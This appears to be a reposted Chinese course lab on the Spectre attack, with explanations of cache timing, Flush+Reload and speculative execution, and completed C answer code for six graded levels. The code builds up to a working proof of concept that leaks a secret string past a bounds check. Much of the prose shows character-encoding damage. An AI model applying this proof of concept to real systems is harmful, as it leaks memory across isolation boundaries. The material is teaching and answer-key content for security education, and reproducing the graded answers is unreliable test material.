Spectre侧信道攻击过程验证
第1關(guān):Cache vs Memory
- 任務(wù)要求
- 參考答案
- 評論
- 關(guān)卡排行榜
- 實驗?zāi)康?/li>
- 任務(wù)描述
- 相關(guān)知識
- CPU高速緩存
- 緩存命中
- 緩存驅(qū)逐
- 代碼執(zhí)行時間精確測量
- 緩存行Cache Line
- 編程要求
- 測試說明
- 提示
任務(wù)描述
完善任務(wù)代碼,測量并記錄CPU訪問數(shù)據(jù)時,發(fā)生緩存命中與緩存不命中時的數(shù)據(jù)訪問時間,并通過重復(fù)測量確保結(jié)果準確。
相關(guān)知識
為了完成本關(guān)及后續(xù)關(guān)卡的任務(wù),需要掌握以下相關(guān)知識。
CPU高速緩存
CPU高速緩存機制的引入,主要是為了解決CPU越來越快的運行速度與相對較慢的主存訪問速度的矛盾。經(jīng)典的CPU的存儲器結(jié)構(gòu)為金字塔型,如下圖所示: 通常,CPU訪問寄存器中的數(shù)據(jù),只需要一個時鐘周期;訪問高速緩存中的數(shù)據(jù),大概需要幾十個時鐘周期;如果訪問的數(shù)據(jù)在主存中,需要大概上百個周期;而訪問磁盤中的數(shù)據(jù)則需要大約幾千萬個周期。
備注:在本任務(wù)中,我們對三級緩存不做區(qū)分,統(tǒng)稱為Cache或高速緩存。
緩存命中
當(dāng)CPU需要訪問數(shù)據(jù)時,會從存儲器金字塔的塔尖處開始檢查數(shù)據(jù),首先在高速緩存中檢查數(shù)據(jù)是否存在,如果發(fā)現(xiàn)目標數(shù)據(jù)已經(jīng)加載到高速緩存中,則直接從高速緩存中讀數(shù)據(jù)寫入寄存器中。該過程稱為“緩存命中(Cache Hit)”,且通常占用較少的時鐘周期。反之,如果數(shù)據(jù)不在高速緩存中,則CPU從內(nèi)存中加載數(shù)據(jù)到高速緩存,再從高速緩存將數(shù)據(jù)加載到寄存器,參與后續(xù)運算,該過程稱為“緩存不命中(Cache Miss)”,通常占用較多的時鐘周期。
緩存驅(qū)逐
由于CPU高速緩存大小有限,當(dāng)緩存已滿,而又需要從內(nèi)存中加載新的數(shù)據(jù)時,CPU會按照一定的策略將某些緩存行(Cache Line)從高速緩存中移除,該過程稱為緩存驅(qū)逐(FLUSH)。在本實驗中,為了達到測量時間差的目的,需要人工調(diào)用函數(shù)_mm_clflush()強制驅(qū)逐緩存,代碼如下:
代碼執(zhí)行時間精確測量
rdtsc/rdtscp 是 x86 CPU 的指令,含義是 read TSC(Time Stamp Counter) 寄存器,而TSC 寄存器在每個 CPU 時鐘信號到來時加 1。由于TSC寄存器中的數(shù)值遞增速度和 CPU 的主頻相關(guān),且服務(wù)器的CPU主頻一般很高(通常再GHz以上),所以利用該指令,我們可以獲得納秒級別的時間精度。
考慮到CPU在執(zhí)行指令時存在亂序執(zhí)行的情況,為了保證測量精讀,我們選用rdtscp指令(而非tdtsc指令),進行時間測量。
緩存行Cache Line
高速緩執(zhí)行數(shù)據(jù)的存儲時候,以行為單位進行對齊,即每次緩存加載或緩存驅(qū)逐時,均加載或驅(qū)逐整數(shù)倍的Cache Line大小數(shù)據(jù)(與CPU架構(gòu)相關(guān),通常為64字節(jié))。 因此,本任務(wù)所有關(guān)卡中,為了避免相鄰地址的數(shù)據(jù)加載時發(fā)生干擾,我們選擇遠大于Cache Line的偏移量4096將測量對象對齊。
編程要求
根據(jù)提示,在右側(cè)編輯器完善代碼,完成數(shù)據(jù)初始化、緩存驅(qū)逐、緩存加載、時延測定等全部環(huán)節(jié),輸出對array[10*4096]數(shù)組中各元素的訪問時延。
測試說明
平臺會對你編寫的代碼進行測試:
自測預(yù)期輸出:
提示
代碼完成后,可以點擊“自測運行按鈕”,查看程序運行結(jié)果。 點擊“測評”即可自動判定是否通關(guān)。 請記錄下緩存命中時的時延大小,后續(xù)關(guān)卡將使用該值作為判定門限。
開始你的任務(wù)吧,祝你成功!
#include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h>uint8_t array[10*4096]; FILE *fp; int cache_timer() {int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;unsigned int ui;int i;// 初始化該數(shù)組for(i=0; i<10; i++) array[i*4096]=1;// 補全下方代碼,完成array[0*4096]至array[9*4096]數(shù)據(jù)的緩存驅(qū)逐/**************************************************/for(i=0; i<10; i++) _mm_clflush(&array[i*4096] );/**************************************************/// 訪問數(shù)組部分元素,使其存儲到Cache(學(xué)生選取部分元素進行訪問,注意不要訪問第一個元素,沒有意義)array[3*4096] = 100;array[7*4096] = 200; /*******請勿修改下方代碼,否則可能導(dǎo)致測評無法通過******/for(i=0; i<10; i++) {addr = &array[i*4096];time1 = __rdtscp(&ui); junk = *addr;time2 = __rdtscp(&ui) - time1; printf("訪問array[%d*4096]消耗: %d CPU周期\n",i, (int)time2);fprintf(fp,"%d,",(int)time2);} /**************************************************/return 0; }int main(int argc, const char **argv) {fp=fopen("Spectre-Attack/ans/T1/result.txt","w");fprintf(fp,"數(shù)組各元素訪問時延(重復(fù)10次)測量結(jié)果:\n");int round=0;for(round=0;round<10;round++){printf("Round %d ---------------------------\n",round);cache_timer();printf("------------------------------------\n");}fclose(fp);return 0; }第2關(guān):基于Flush+Reload的側(cè)信道實現(xiàn)
- 任務(wù)要求
- 參考答案
- 評論
- 關(guān)卡排行榜
- 實驗?zāi)康?/li>
- 任務(wù)描述
- 相關(guān)知識
- FLUSH+RELOAD技術(shù)
- 實驗設(shè)定
- 編程要求
- 測試說明
實驗?zāi)康?/h3>
通過實驗,幫助學(xué)員掌握利用高速緩存FLUSH+RELOAD技術(shù)實施側(cè)信道攻擊的基本過程。
任務(wù)描述
在上一關(guān)的基礎(chǔ)上,完善任務(wù)代碼,首先設(shè)定將某次數(shù)據(jù)訪問判定為“緩存命中”的門限值,進一步對某內(nèi)存數(shù)據(jù)(Secret值)實施側(cè)信道攻擊,實現(xiàn)在不直接訪問數(shù)據(jù)的條件下,借助訪問時延判定該數(shù)據(jù)的具體內(nèi)容。
相關(guān)知識
FLUSH+RELOAD技術(shù)
Flush+Reload(FR)方法是prime-probe方法的變種,基于共享內(nèi)存實現(xiàn),是一種跨內(nèi)核、跨虛擬機的Cache探測方法。
在Flush 階段,攻擊者將監(jiān)控的內(nèi)存塊從cache中驅(qū)逐出去,然后在Trigger階段等待目標代碼/進程/用戶/虛擬機訪問共享內(nèi)存(即將相應(yīng)數(shù)據(jù)加載到共享內(nèi)存中)。在Reload階段,攻擊者重新加載監(jiān)控的共享內(nèi)存塊。
如果在等待的期間,目標代碼/進程/用戶/虛擬機已經(jīng)訪問過某些內(nèi)存塊,則Reload期間會觸發(fā)緩存命中,時間較短,否則時間較長。根據(jù)reload階段內(nèi)存數(shù)據(jù)訪問的時間長短,可獲取目標內(nèi)存塊中的共享信息。
實驗設(shè)定
具體在本實驗中,假設(shè)待獲取的目標內(nèi)存數(shù)據(jù)為“secret=66”,首先調(diào)用flushSideChannel()函數(shù),將所有數(shù)據(jù)從緩存中驅(qū)逐(_mm_clflush()),通過執(zhí)行victim()函數(shù)用來假設(shè)執(zhí)行目標對敏感數(shù)據(jù)的訪問,最后在reloadSideChannel()函數(shù)中完成訪問時延的測量與敏感信息的獲取。
編程要求
根據(jù)提示,在右側(cè)編輯器補充代碼,完成基于Flush+Reload的側(cè)信道攻擊實現(xiàn),按要求打印攻擊結(jié)果。
測試說明
平臺會對你編寫的代碼進行測試。 部分代碼參考關(guān)卡1。
開始你的任務(wù)吧,祝你成功!
//該實驗中,假設(shè)用戶沒有Secret的訪問權(quán)限,不能直接讀取Secret的值,可以通過測時延來獲取其內(nèi)容。#include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h>FILE *fp; uint8_t array[256*4096]; int temp; unsigned char secret = 66;/* 請去掉下面一行的注釋,并將括號中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)上一關(guān)中測得的緩存命中時延設(shè)定*/ #define CACHE_HIT_THRESHOLD (50)#define DELTA 1024void victim() {temp = array[secret*4096 + DELTA]; }void flushSideChannel() {int i;// 初始化該數(shù)組,防止Copy-on-Write導(dǎo)致實驗失敗for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;// 驅(qū)逐緩存Cache,請在下方補充代碼,將array[0*4096+DELTA]至array[255*4096+DELTA]等數(shù)據(jù)從緩存中強制驅(qū)逐/**************************************/for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096+DELTA]);/**************************************/ }void reloadSideChannel() {int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;int i;unsigned int ui;//請補全并下方代碼,獲得i*4096 + DELTA位置元素的訪問時延,并將小于門限的訪問行為判定為緩存命中,按照指定格式輸出結(jié)果。for(i = 0; i < 256; i++){ addr = &array[i*4096+DELTA];time1 = __rdtscp(&ui); junk = *addr;time2 = __rdtscp(&ui) - time1; if (time2 <= CACHE_HIT_THRESHOLD){printf("訪問array[%d*4096 + %d]元素時發(fā)生緩存命中,時延%d.\n", i, DELTA, (int)time2);printf("秘密值Secret = %d(字符:\'%c\')。\n", i, i);fprintf(fp,"秘密值Secret = %d(字符:\'%c\')。\n" ,i, i); //不要修改本行代碼}} }int main(int argc, const char **argv) {fp=fopen("Spectre-Attack/ans/T2/result.txt","w");flushSideChannel();victim();reloadSideChannel();fclose(fp);return (0); }第3關(guān):Spectre預(yù)測執(zhí)行
- 任務(wù)要求
- 參考答案
- 評論
- 關(guān)卡排行榜
- 實驗?zāi)康?/li>
- 任務(wù)描述
- 相關(guān)知識
- Spectre漏洞
- 預(yù)測執(zhí)行
- 預(yù)測執(zhí)行的前提
- 編程要求
- 測試說明
實驗?zāi)康?/h3>
通過實驗,使學(xué)生建立對Spectre這一CPU層面的漏洞的直觀認識,理解并掌握如何利用預(yù)測執(zhí)行對目標數(shù)據(jù)執(zhí)行非法訪問,為后續(xù)關(guān)卡任務(wù)做準備。
任務(wù)描述
在前面關(guān)卡的基礎(chǔ)上,完善和補全代碼,測試Spectre幽靈漏洞能夠?qū)崿F(xiàn)的攻擊效果,即能夠訪問到代碼約束范圍以外的數(shù)據(jù)。
相關(guān)知識
Spectre漏洞
Spectre漏洞是一個存在于處理器中的,由于預(yù)測執(zhí)行優(yōu)化涉及而引入的一種設(shè)計缺陷和安全漏洞。基本所有含有預(yù)測執(zhí)行的現(xiàn)代處理器均受此漏洞的影響。
針對該漏洞的利用通常采用基于時間的側(cè)信道攻擊,允許惡意進程獲得合法內(nèi)存以外(如其他程序的內(nèi)存、甚至其他容器的內(nèi)存)的數(shù)據(jù)。
預(yù)測執(zhí)行
在計算機的組成結(jié)構(gòu)中,內(nèi)存讀取的速度相比于CPU來看是很慢的,當(dāng)CPU在運行過程中需要讀取內(nèi)存的時候,為了提高執(zhí)行效率,CPU會“搶跑”。如下圖所示: 當(dāng)CPU需要從內(nèi)存中取數(shù)據(jù)MEM時,同時執(zhí)行MEM讀取指令以及instructionA,即對分支進行了“預(yù)測執(zhí)行”。當(dāng)MEM數(shù)據(jù)讀取返回并判斷后,如果發(fā)現(xiàn)預(yù)測錯誤,則中斷預(yù)測執(zhí)行,并回滾計算狀態(tài)(即寄存器等);否則繼續(xù)執(zhí)行后續(xù)指令。 然而,CPU在執(zhí)行預(yù)測執(zhí)行的回滾操作時,僅回滾了寄存器而高速緩存并沒有被清空,從而為惡意代碼可能訪問到邊界外的數(shù)據(jù)提供了可能。
預(yù)測執(zhí)行的前提
CPU在進行預(yù)測執(zhí)行操作時,會根據(jù)此前判斷條件的結(jié)果進行分支預(yù)測。因此,實施Spectre攻擊的重要環(huán)節(jié)是需要對CPU的分支判斷進行“訓(xùn)練”,即本任務(wù)中需要使用合法參數(shù)多次調(diào)用victim()函數(shù),使CPU“記住”判斷狀態(tài)。
編程要求
根據(jù)提示,在右側(cè)編輯器補充代碼,完成對CPU分支預(yù)測的訓(xùn)練、邊界外數(shù)據(jù)(即索引大于size的數(shù)組元素)向高速緩存的加載,并利用FLUSH+RELOAD側(cè)信道來驗證目標數(shù)據(jù)是否已加載。
考慮到利用Sepctre漏洞時,因為系統(tǒng)噪聲(即其他系統(tǒng)進程對CPU的占用、對緩存的占用等)的影響,某些時候分支的預(yù)測不會按照我們的期望執(zhí)行,因此,本任務(wù)中將重復(fù)10次實驗,查看緩存命中結(jié)果。
測試說明
平臺會對你編寫的代碼進行測試。
預(yù)期輸出:
開始你的任務(wù)吧,祝你成功!
#include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h>/* 請去掉下面一行的注釋,并將括號中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)第一關(guān)中測得的緩存命中時延設(shè)定*/ #define CACHE_HIT_THRESHOLD (50)#define DELTA 1024 FILE *fp;int size = 10; uint8_t array[256*4096]; uint8_t temp = 0;void flushSideChannel() {int i;// 初始化數(shù)組,避免Copy-on-Write等優(yōu)化機制對實驗結(jié)果產(chǎn)生影響for (i = 0; i < 256; i++) {array[i*4096 + DELTA] = 1;}// 驅(qū)逐緩存for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]); }void reloadSideChannel() {int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;int i;for(i = 0; i < 256; i++){addr = &array[i*4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD){printf("訪問array[%d*4096 + %d]元素時命中緩存,時延%d.\n", i, DELTA,(int)time2);fprintf(fp,"訪問array[%d*4096 + %d]元素時命中緩存,時延%d.\n", i, DELTA,(int)time2);}} }void victim(size_t x) {if (x < size) { temp = array[x * 4096 + DELTA]; } }int main() {fp=fopen("Spectre-Attack/ans/T3/result.txt","w");int i;// 初始化側(cè)信道攻擊條件flushSideChannel();//使用while循環(huán),重復(fù)10次執(zhí)行實驗int loop = 10;while(--loop >= 0){printf("第%d次實驗----\n", 10-loop);fprintf(fp,"第%d次實驗----\n", 10-loop);// 訓(xùn)練CPU,使其預(yù)測時進入期望分支for (i = 0; i < 10; i++) { victim(i);}// 請補全下方代碼并取消注釋,①將victim()函數(shù)中分支判斷需要的數(shù)據(jù)'size'從緩存中驅(qū)逐,以在后續(xù)調(diào)用中觸發(fā)預(yù)測執(zhí)行;②將array數(shù)組中i*4096+DELTA處的數(shù)據(jù)從緩存中驅(qū)逐,以便后續(xù)reload階段判斷目標數(shù)據(jù)是否被加載。_mm_clflush(&size);for (i = 0; i < 256; i++)_mm_clflush(&array[i*4096+DELTA]); //嘗試訪問邊界外的數(shù)據(jù)victim(97); // reload數(shù)據(jù),開展側(cè)信道攻擊,查看是否已經(jīng)將數(shù)據(jù)裝入緩存reloadSideChannel();usleep(100);}fclose(fp);return (0); }第4關(guān):Spectre攻擊簡單實驗(代碼補全后,多次執(zhí)行"自測運行",查看運行結(jié)果,看看有什么發(fā)現(xiàn)。)
- 任務(wù)要求
- 參考答案
- 評論
- 關(guān)卡排行榜
- 實驗?zāi)康?/li>
- 任務(wù)描述
- 相關(guān)知識
- 沙箱SandBox
- 代碼中的關(guān)鍵數(shù)據(jù)解釋
- 編程要求
- 建議
- 測試說明
實驗?zāi)康?/h3>
通過實驗,使學(xué)生掌握利用高速緩存?zhèn)刃诺篮虲PU的Spectre漏洞,突破代碼的邊界檢查,實現(xiàn)對目標內(nèi)存中的數(shù)據(jù)有效訪問。
任務(wù)描述
在前期關(guān)卡知識點已掌握的基礎(chǔ)上,完善和補全代碼,依賴合法內(nèi)存訪問函數(shù)uint8_t restrictedAccess(size_t x),通過利用CPU的預(yù)測執(zhí)行機制和高速緩存?zhèn)刃诺?#xff0c;實現(xiàn)對約束范圍外的數(shù)據(jù)secret="Some Secret Value"訪問和提取,并打印提取結(jié)果。
相關(guān)知識
沙箱SandBox
沙箱技術(shù)是應(yīng)用開發(fā)中常用的一種安全技術(shù),用于隔離對象/線程/進程等對資源的訪問。 例如操作系統(tǒng)層面的沙箱的含義就是操作系統(tǒng)對進程的可訪問的內(nèi)存地址所做的限制,限制進程可訪問的內(nèi)存在其被分配的內(nèi)存地址區(qū)間內(nèi),而不允許操作其他的內(nèi)存地址,從而提供安全層面的防護。 而在瀏覽器環(huán)境下,沙箱的本質(zhì)原理相同,只是隔離的對象為不同的頁面、腳本等所使用的內(nèi)存,防止其訪問到其他非同源的頁面數(shù)據(jù)或通信數(shù)據(jù)。
在本實驗中,我們使用uint8_t restrictedAccess(size_t x)函數(shù)來實現(xiàn)一個極簡沙箱,限制進程能夠訪問的內(nèi)存地址為buffer[0]-buffer[9]。
代碼中的關(guān)鍵數(shù)據(jù)解釋
編程要求
根據(jù)提示,在右側(cè)編輯器補充代碼,完成CPU分支預(yù)測的訓(xùn)練、邊界外內(nèi)存數(shù)據(jù)的緩存加載,并利用高速緩存?zhèn)刃诺捞崛∧繕说刂返拿舾行畔⒅怠?/p>
建議
代碼補全后,多次執(zhí)行"自測運行",查看運行結(jié)果,看看有什么發(fā)現(xiàn)。
測試說明
平臺會對你編寫的代碼進行測試。
測試輸入:無 預(yù)期輸出:
開始你的任務(wù)吧,祝你成功!
#include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <string.h>unsigned int bound_lower = 0; unsigned int bound_upper = 9; uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9}; char *secret = "Some Secret Value"; uint8_t array[256*4096];/* 請去掉下面一行的注釋,并將括號中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)第一關(guān)中測得的緩存命中時延設(shè)定*/ #define CACHE_HIT_THRESHOLD (50)#define DELTA 1024 FILE *fp;// 沙箱示意,用來約束訪問邊界 uint8_t restrictedAccess(size_t x) {if (x <= bound_upper && x >= bound_lower) {return buffer[x];} else {return 0;} }void flushSideChannel() {int i;// 初始化數(shù)組,避免Copy-on-Write等優(yōu)化機制對實驗結(jié)果產(chǎn)生影響for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;// 驅(qū)逐緩存for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]); }void reloadSideChannel() {int junk=0;register uint64_t time1, time2;volatile uint8_t *addr;int i;for(i = 0; i < 256; i++){addr = &array[i*4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD){printf("訪問array[%d*4096 + %d]元素時命中緩存.\n", i, DELTA);printf("秘密值 = %c(ASCII碼:%d).\n",(i > 31 && i < 127 ? i : '?'), i);fprintf(fp,"%c,",(i > 31 && i < 127 ? i : '?'));}} }void spectreAttack(size_t index_beyond) {int i;uint8_t s;volatile int z;// 訓(xùn)練CPU,使其在攻擊時進入期望的預(yù)測分支.for (i = 0; i < 10; i++) { restrictedAccess(i); }// 補全下方代碼,將上界、下界以及array的數(shù)據(jù)從緩存中驅(qū)逐。/***********************************************************/_mm_clflush(&buffer[bound_upper]);_mm_clflush(&buffer[bound_lower]);for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);/***********************************************************/for (z = 0; z < 100; z++) { }// 調(diào)用沙箱訪問函數(shù),利用預(yù)測執(zhí)行漏洞訪問合法內(nèi)存邊界之外的秘密值s = restrictedAccess(index_beyond); if(s!=0)array[s*4096 + DELTA] += 1; }int main() {fp=fopen("Spectre-Attack/ans/T4/result.txt","w");flushSideChannel();size_t index_beyond = (size_t)(secret - (char*)buffer); printf("秘密值內(nèi)存地址: %p \n", secret);printf("合法訪問內(nèi)存地址: %p \n", buffer);printf("秘密值地址相對與合法訪問內(nèi)存地址偏移量(邊界之外): %ld \n", index_beyond);for(int k=0;k<strlen(secret);k++){spectreAttack(index_beyond+k);reloadSideChannel();usleep(10);}fclose(fp);return (0); }第5關(guān):Spectre攻擊實驗改進
- 任務(wù)要求
- 參考答案
- 評論
- 關(guān)卡排行榜
- 實驗?zāi)康?/li>
- 任務(wù)描述
- 相關(guān)知識
- 優(yōu)化方法
- 編程要求
- 測試說明
實驗?zāi)康?/h3>
掌握在噪聲情況下,如何利用側(cè)信道和Spectre漏洞實現(xiàn)高準確率的敏感信息提取。
任務(wù)描述
經(jīng)過上一關(guān)的試驗結(jié)果觀察發(fā)現(xiàn),由于CPU執(zhí)行其他任務(wù)、緩存命中時延的門限設(shè)置不夠準確等噪聲影響,常常導(dǎo)致無法準確的將訪問到的敏感信息恢復(fù)和提取出來。因此,本關(guān)中對上一關(guān)代碼進行優(yōu)化改進,通過多次重復(fù)實驗,統(tǒng)計各字符在緩存中的命中次數(shù)(即:積分),進一步的根據(jù)不同位置的積分值,獲得敏感信息的準確值。
相關(guān)知識
見前面幾關(guān)的相關(guān)知識一節(jié)。
優(yōu)化方法
在敏感字符的恢復(fù)提取環(huán)節(jié),除了使用array[256*4096]字典數(shù)組之外,還使用一個積分數(shù)組static int scores[256]。在攻擊過程中,每次利用側(cè)信道探測到某內(nèi)存的字符X(其十進制表示為k),則將score[k]的值加1。針對每個字符的側(cè)信道攻擊結(jié)束后,統(tǒng)計整個score[]數(shù)組中的積分值,選擇積分最高的作為概率最高的敏感字符。
編程要求
根據(jù)提示,在右側(cè)編輯器補充代碼,完成準確的敏感字符提取(本關(guān)僅要求恢復(fù)處secret的第一個字符)。
測試說明
平臺會對你編寫的代碼進行測試。
預(yù)期輸出:
開始你的任務(wù)吧,祝你成功!
#include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <unistd.h> #include <string.h>unsigned int bound_lower = 0; unsigned int bound_upper = 9; uint8_t buffer[10] = {0,1,2,3,4,5,6,7,8,9}; uint8_t temp = 0; char *secret = "Some Secret Value"; uint8_t array[256*4096];/* 請去掉下面一行的注釋,并將括號中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)第一關(guān)中測得的緩存命中時延設(shè)定*/ #define CACHE_HIT_THRESHOLD (50)#define DELTA 1024 FILE *fp;// 沙箱訪問函數(shù)示意 uint8_t restrictedAccess(size_t x) {if (x <= bound_upper && x >= bound_lower) {return buffer[x];} else {return 0;} }void flushSideChannel() {int i;// 初始化數(shù)組,避免Copy-on-Write等優(yōu)化機制對實驗結(jié)果產(chǎn)生影響for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;// 驅(qū)逐緩存for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]); }// 針對每個可能的敏感字符設(shè)置積分數(shù)組 static int scores[256]; void reloadSideChannelImproved() {int i;volatile uint8_t *addr;register uint64_t time1, time2;int junk = 0;//補全下方代碼,當(dāng)每次字符i被命中一次,對應(yīng)的積分+1/*************************************/for (i = 0; i < 256; i++) {addr = &array[i*4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD)scores[i]++;}/*************************************/}void spectreAttack(size_t index_beyond) {int i;uint8_t s;volatile int z;for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }// 訓(xùn)練CPU,使其在攻擊時進入期望的預(yù)測分支.for (i = 0; i < 10; i++) {restrictedAccess(i); }// 將上界、下界以及array的數(shù)據(jù)從緩存中驅(qū)逐。_mm_clflush(&bound_upper);_mm_clflush(&bound_lower); for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }for (z = 0; z < 100; z++) { }//// 調(diào)用沙箱訪問函數(shù),利用預(yù)測執(zhí)行漏洞訪問合法內(nèi)存邊界之外的秘密值s = restrictedAccess(index_beyond);if(s!=0)array[s*4096 + DELTA] += 1; }int main() {fp=fopen("Spectre-Attack/ans/T5/result.txt","w");int i;uint8_t s;size_t index_beyond = (size_t)(secret - (char*)buffer);flushSideChannel();for(i=0;i<256; i++) scores[i]=0; //重復(fù)執(zhí)行1000次SpectreAttack和reloadSideChannelImproved函數(shù)for (i = 0; i < 1000; i++) {spectreAttack(index_beyond);usleep(10);reloadSideChannelImproved();}int max = 0;// 補全下方代碼,從scores數(shù)組中找到最大值,并將其索引值賦值給max/*************************************/for (i = 0; i < 256; i++) {if(max<scores[i])max=scores[i];}for (i = 0; i < 256; i++) {if(max==scores[i]){ max=i;break;}}/*************************************/printf("秘密值 \'%c\' (ASCII: %d),積分值:%d.\n", max, max, scores[max]);fprintf(fp,"%c|%d",(max > 31 && max < 127 ? max : '?'), scores[max]);fclose(fp);return (0); }第6關(guān):Spectre攻擊竊取敏感信息實戰(zhàn)
- 任務(wù)要求
- 參考答案
- 評論
- 關(guān)卡排行榜
- 實驗?zāi)康?/li>
- 任務(wù)描述
- 相關(guān)知識
- 編程要求
- 測試說明
實驗?zāi)康?/h3>
基于前面關(guān)卡所掌握的知識和技術(shù),進行內(nèi)存中敏感信息的竊取實戰(zhàn),加深對Spectre幽靈攻擊全流程的認識,同時強化實踐動手能力。
任務(wù)描述
本關(guān)任務(wù)中,基本設(shè)計與前一關(guān)卡類似,區(qū)別在于使用了靜態(tài)鏈接庫,將敏感信息編譯在了該庫中,該庫中所包含的部分變量如下圖所示: 同時,該庫提供了如下函數(shù),供學(xué)員代碼調(diào)用。
get_info_sand_box沙箱示意函數(shù)與前關(guān)卡uint8_t restrictedAccess(size_t x)函數(shù)相同,其代碼如下圖:
利用前面關(guān)卡所掌握的知識,完善和補全右側(cè)代碼,利用高速緩存?zhèn)刃诺篮蚐pectre預(yù)測執(zhí)行漏洞,實現(xiàn)對敏感信息secret的準確恢復(fù)。
相關(guān)知識
見前面1-4關(guān)的相關(guān)知識一節(jié)。
編程要求
根據(jù)提示,在右側(cè)編輯器補充代碼,完善各函數(shù)代碼,最終輸出指定格式的敏感信息竊取結(jié)果。
測試說明
運行自測,查看代碼運行結(jié)果,并最終將竊取到的敏感信息完整內(nèi)容寫入/home/目錄下的result.txt文件。可以使用fprintf(fp,"%c",(max > 31 && max < 127 ? max : '?'))函數(shù)輸出到該文件,也可以使用vim工具將內(nèi)容寫入文件。
平臺會對你編寫的代碼和信息竊取結(jié)果進行測試。
預(yù)期輸出:
開始你的任務(wù)吧,祝你成功!
#include <emmintrin.h> #include <x86intrin.h> #include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <unistd.h> #include <string.h> #include "encipher.h"extern unsigned int bound_lower; extern unsigned int bound_upper;uint8_t temp = 0;uint8_t array[256*4096];/* 請去掉下面一行的注釋,并將括號中的'THRESHOLD'替換為具體門限值,該門限值可以根據(jù)第一關(guān)中測得的緩存命中時延設(shè)定*/ #define CACHE_HIT_THRESHOLD (80)#define DELTA 2048 static int scores[256]; FILE *fp;void flushSideChannel() {//補全下方代碼,初始化array數(shù)組,并將所有相關(guān)數(shù)據(jù)從緩存中驅(qū)逐/*************************************/int i;for(i=0;i<256;i++){array[i*4096+DELTA]=1;}for(i=0;i<256;i++){_mm_clflush(&array[i*4096+DELTA]);}/*************************************/ }void reloadSideChannelImproved() {//補全下方代碼,完成高速緩存?zhèn)刃诺赖腞eload步驟,根據(jù)緩存命中情況,更新score數(shù)組/*************************************/int i;volatile uint8_t *addr;register uint64_t time1, time2;int junk = 0;for (i = 0; i < 256; i++) {addr = &array[i * 4096 + DELTA];time1 = __rdtscp(&junk);junk = *addr;time2 = __rdtscp(&junk) - time1;if (time2 <= CACHE_HIT_THRESHOLD){scores[i]++; }} /*************************************/ }void spectreAttack(size_t index_beyond) {//補全下方代碼,針對指定的內(nèi)存位置,開展Spectre攻擊,包括緩存清空、CPU訓(xùn)練、緩存驅(qū)逐、預(yù)測執(zhí)行和緩存加載等環(huán)節(jié)/*************************************/int i;uint8_t s;volatile int z;for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }// 訓(xùn)練CPU,使其在攻擊時進入期望的預(yù)測分支.for (i = 0; i < 10; i++) {get_info_sand_box(i);}// 將上界、下界以及array的數(shù)據(jù)從緩存中驅(qū)逐。_mm_clflush(&bound_upper);_mm_clflush(&bound_lower); for (i = 0; i < 256; i++){ _mm_clflush(&array[i*4096 + DELTA]); }for (z = 0; z < 100; z++) { }// 調(diào)用沙箱訪問函數(shù),利用預(yù)測執(zhí)行漏洞訪問合法內(nèi)存邊界之外的秘密值s = get_info_sand_box(index_beyond);if(s!=0)array[s*4096 + DELTA] += 88;/*************************************/ }int main() {//補全下方代碼,針對敏感信息secret的每個字節(jié),逐個進行提取,每個字節(jié)的提取操作執(zhí)行1000次,并按照指定格式輸出提取結(jié)果及其積分值(可以包括最優(yōu)值與次優(yōu)值,即score最大的值和第二大的值的索引)。//打印示例:printf("第%d個秘密字符的最優(yōu)值 \'%c\' (ASCII: %d) 積分:[%d] ", k, (max > 31 && max < 127 ? max : '?'), max, scores[max]);/*************************************/int i;uint8_t s;fp=fopen("/home/result.txt","w");size_t index_beyond = get_addr_offset();flushSideChannel();for(int k=0;k<get_secret_len();k++){for(i=0;i<256; i++){scores[i]=0; }for (i = 0; i < 1000; i++) {spectreAttack(index_beyond+k);usleep(10);reloadSideChannelImproved();}int max = 0; int mx= 0; for (i = 0; i < 256; i++){// printf("%d ", scores[i]);if(scores[max] < scores[i]) {max = i;}}for (i = 0; i < 256; i++){if(scores[mx] < scores[i] && i!=max) {mx = i;}}printf("第%d個秘密字符的最優(yōu)值 '%c' (ASCII: %d) 積分:[%d] 次優(yōu)值 '%c' (ASCII: %d) 積分:[%d]\n", k, (max > 31 && max < 127 ? max : '?'), max, scores[max],(mx > 31 && mx < 127 ? mx : '?'), mx, scores[mx]);fprintf(fp,"%c",(max > 31 && max < 127 ? max : '?'));}/*************************************/return (0); }總結(jié)
以上是生活随笔為你收集整理的Spectre侧信道攻击过程验证的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【SAS系列】SAS入门书籍推荐
- 下一篇: 秩为1的矩阵的性质总结